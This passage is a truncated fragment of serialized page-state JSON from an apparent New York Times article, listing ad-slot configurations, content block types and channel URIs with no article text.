11"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.0":{"name":"mobile","stride":4,"threshold":3,"__typename":"SprinkledConfig"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.1":{"name":"desktop","stride":7,"threshold":3,"__typename":"SprinkledConfig"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.2":{"name":"mobileHoldout","stride":6,"threshold":3,"__typename":"SprinkledConfig"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.3":{"name":"desktopHoldout","stride":8,"threshold":3,"__typename":"SprinkledConfig"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.4":{"name":"hybrid","stride":4,"threshold":3,"__typename":"SprinkledConfig"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled":{"configs":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.0","typename":"SprinkledConfig"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.1","typename":"SprinkledConfig"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.2","typename":"SprinkledConfig"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.3","typename":"SprinkledConfig"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkled.configs.4","typename":"SprinkledConfig"}],"__typename":"SprinkledContent"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.0":{"__typename":"HeaderBasicBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.1":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.2":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.3":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.4":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.5":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.6":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.7":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.8":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.9":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.10":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.11":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.12":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.13":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.14":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.15":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.16":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.17":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.18":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.19":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.20":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.21":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.22":{"__typename":"ImageBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.23":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.24":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.25":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.26":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.27":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.28":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.29":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.30":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.31":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.32":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.33":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.34":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.35":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.36":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.37":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.38":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.39":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.40":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.41":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.42":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.43":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.44":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.45":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.46":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.47":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.48":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.49":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.50":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.51":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.52":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.53":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.54":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.55":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.56":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.57":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.58":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.59":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.60":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.61":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.62":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":true},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.63":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.64":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.65":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.66":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.67":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.68":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.69":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.70":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.71":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.72":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.73":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.74":{"__typename":"Dropzone","adsMobile":true,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.75":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.76":{"__typename":"Dropzone","adsMobile":false,"adsDesktop":false},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content.77":{"__typename":"RelatedLinksBlock"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.followChannels.0":{"uri":"nyt:\u002F\u002Fchannel\u002Fdd1a5725-c3be-4673-be2c-9055eb12c10f","__typename":"ChannelMetadata"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.followChannels.1":{"uri":"nyt:\u002F\u002Fchannel\u002F7cf18b43-f1c6-4946-8a9c-4e24bad34c5c","__typename":"ChannelMetadata"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.followChannels.2":{"uri":"nyt:\u002F\u002Fchannel\u002F679a17bb-20e6-40a7-a589-e7742a2a52ed","__typename":"ChannelMetadata"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.0":{"__typename":"HeaderBasicBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.1":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.2":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.3":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.4":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.5":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.6":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.7":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.8":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.9":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.10":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.11":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.12":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.13":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.14":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.15":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.16":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.17":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.18":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.19":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.20":{"__typename":"ParagraphBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.21":{"__typename":"Dropzone"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.22":{"__typename":"ImageBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@